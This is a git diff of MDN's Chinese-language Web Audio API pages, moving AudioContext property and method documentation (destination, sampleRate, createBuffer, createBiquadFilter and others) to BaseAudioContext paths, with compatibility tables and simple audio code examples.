- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/destination/index.html b/files/zh-cn/web/api/audiocontext/destination/index.html deleted file mode 100644 index 04fdfe8247..0000000000 --- a/files/zh-cn/web/api/audiocontext/destination/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: AudioContext.destination -slug: Web/API/AudioContext/destination -translation_of: Web/API/BaseAudioContext/destination ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-gainNode.connect(audioCtx.destination);
- -

返回值

- -

An {{ domxref("AudioDestinationNode") }}.

- -

例子

- -
-

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-var oscillatorNode = audioCtx.createOscillator();
-var gainNode = audioCtx.createGain();
-
-oscillatorNode.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/listener/index.html b/files/zh-cn/web/api/audiocontext/listener/index.html deleted file mode 100644 index 81b2a730a2..0000000000 --- a/files/zh-cn/web/api/audiocontext/listener/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.listener -slug: Web/API/AudioContext/listener -translation_of: Web/API/BaseAudioContext/listener ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myListener = audioCtx.listener;
- -

返回值

- -

An {{ domxref("AudioListener") }} object.

- -

例子

- -
-

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-var myListener = audioCtx.listener;
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 2b7022c1ce..0000000000 --- a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType ---- -

{{APIRef("Web Audio API")}} {{Non-standard_header}}

- -

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

- -

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

- -

语法

- -
var audioCtx = new AudioContext();
-var myAudioChannelType = audioCtx.mozAudioChannelType;
-
- -

只能通过下面的构造器来设置AudioContext中音频的声道:

- -
var audioCtx = new AudioContext('ringer');
- -

返回值

- -

A {{domxref("DOMString")}} value.

- -

例子

- -

TBD

- -

规范

- -

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/onstatechange/index.html b/files/zh-cn/web/api/audiocontext/onstatechange/index.html deleted file mode 100644 index ee9b3f21c0..0000000000 --- a/files/zh-cn/web/api/audiocontext/onstatechange/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: AudioContext.onstatechange -slug: Web/API/AudioContext/onstatechange -translation_of: Web/API/BaseAudioContext/onstatechange ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

-
- -

语法

- -
var audioCtx = new AudioContext();
-audioCtx.onstatechange = function() { ... };
- -

例子

- -

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/samplerate/index.html b/files/zh-cn/web/api/audiocontext/samplerate/index.html deleted file mode 100644 index b811702e26..0000000000 --- a/files/zh-cn/web/api/audiocontext/samplerate/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.sampleRate -slug: Web/API/AudioContext/sampleRate -translation_of: Web/API/BaseAudioContext/sampleRate ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var mySampleRate = audioCtx.sampleRate;
- -

返回值

- -

A floating point number.

- -

例子

- -
-

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.sampleRate);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/state/index.html b/files/zh-cn/web/api/audiocontext/state/index.html deleted file mode 100644 index 97876f5d3d..0000000000 --- a/files/zh-cn/web/api/audiocontext/state/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: AudioContext.state -slug: Web/API/AudioContext/state -translation_of: Web/API/BaseAudioContext/state ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myState = audioCtx.state;
- -

返回值

- -

{{domxref("DOMString")}},可能的值如下:

- - - -

例子

- -

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index eb82534aed..0000000000 --- a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) ---- -

{{ APIRef("Web Audio API") }}

- -
-

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
- 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
-  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
- 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

-
- -

Syntax

- -
var lfo = audioCtx.createOscillator();
-lfo.frequency.value = 2.0; // Hz, two times per second
-
-var lfoGain = audioCtx.createGain();
-lfoGain.gain.value = 0.5;
-
-// this is the parameter that is going to be modulated
-var gain = audioCtx.createGain();
-gain.gain.value = 0.5;
-
-// Oscillators go from -1 to 1
-// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
-lfo.connect(lfoGain);
-
-// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
-lfoGain.connect(gain.gain);
-
-lfo.connect(gain.gain);
- -
-

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

-
- -

Returns

- -

Void.

- -

Example

- -

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-// create an normal oscillator to make sound
-var oscillator = audioCtx.createOscillator();
-
-// create a second oscillator that will be used as an LFO (Low-frequency
-// oscillator), and will control a parameter
-var lfo = audioCtx.createOscillator();
-
-// set the frequency of the second oscillator to a low number
-lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
-
-// create a gain whose gain AudioParam will be controlled by the LFO
-var gain = audioCtx.createGain();
-
-// connect the LFO to the gain AudioParam. This means the value of the LFO
-// will not produce any audio, but will change the value of the gain instead
-lfo.connect(gain.gain);
-
-// connect the oscillator that will produce audio to the gain
-oscillator.connect(gain);
-
-// connect the gain to the destination so we hear sound
-gain.connect(audioCtx.destination);
-
-// start the oscillator that will produce audio
-oscillator.start();
-
-// start the oscillator that will modify the gain value
-lfo.start();
- -

Parameters

- -
-
Destination
-
The {{ domxref("AudioParam") }} you are connecting to.
-
Output (optional)
-
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html new file mode 100644 index 0000000000..2d00a8a100 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html @@ -0,0 +1,154 @@ +--- +title: AudioContext.createAnalyser() +slug: Web/API/AudioContext/createAnalyser +translation_of: Web/API/BaseAudioContext/createAnalyser +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

+
+ +
+

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+ +

返回值

+ +

{{domxref("AnalyserNode")}}对象

+ +

例子

+ +

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html new file mode 100644 index 0000000000..fa5884ad71 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html @@ -0,0 +1,139 @@ +--- +title: AudioContext.createBiquadFilter() +slug: Web/API/AudioContext/createBiquadFilter +tags: + - API + - EQ + - Web Audio API + - 参考 + - 方法 + - 滤波器 +translation_of: Web/API/BaseAudioContext/createBiquadFilter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var biquadFilter = audioCtx.createBiquadFilter();
+ +

返回

+ +

一个 {{domxref("BiquadFilterNode")}}.

+ +

示例

+ +

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+//set up the different audio nodes we will use for the app
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// connect the nodes together
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipulate the Biquad filter
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

 

+ +

相关

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html new file mode 100644 index 0000000000..2d29213737 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html @@ -0,0 +1,181 @@ +--- +title: AudioContext.createBuffer() +slug: Web/API/AudioContext/createBuffer +tags: + - 创建音频片段 + - 接口 + - 方法 + - 音频环境 +translation_of: Web/API/BaseAudioContext/createBuffer +--- +

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

+ +

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

+ +
+

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

+
+ +

语法

+ +
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
+ +

参数

+ +
+

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

+
+ +
+
numOfChannels
+
一个定义了 buffer 中包含的声频通道数量的整数。
+ 一个标准的实现必须包含至少32个声频通道。
+
 
+
length
+
一个代表 buffer 中的样本帧数的整数。
+
sampleRate
+
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
+
+ +

 

+ +

返回值

+ +

一个 {{domxref("AudioBuffer")}}。

+ +

示例

+ +

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(2, 22050, 44100);
+ +

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(1, 22050, 22050);
+ +

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

+ +
+

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

+
+ +

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// 立体声
+var channels = 2;
+// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // 使用白噪声填充;
+  // 就是 -1.0 到 1.0 之间的随机数
+  for (var channel = 0; channel < channels; channel++) {
+   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
+  // 当我们想播放音频片段时,我们会用到这个源节点。
+  var source = audioCtx.createBufferSource();
+  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
+  source.buffer = myArrayBuffer;
+  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
+  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
+  source.connect(audioCtx.destination);
+  // 开始播放声源
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html new file mode 100644 index 0000000000..5244513312 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html @@ -0,0 +1,150 @@ +--- +title: AudioContext.createBufferSource() +slug: Web/API/AudioContext/createBufferSource +tags: + - API + - 音源 + - 音频源 + - 音频节点 +translation_of: Web/API/BaseAudioContext/createBufferSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createBufferSource();
+ +

返回

+ +

一个{{domxref("AudioBufferSourceNode")}}对象.

+ +

例子

+ +

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
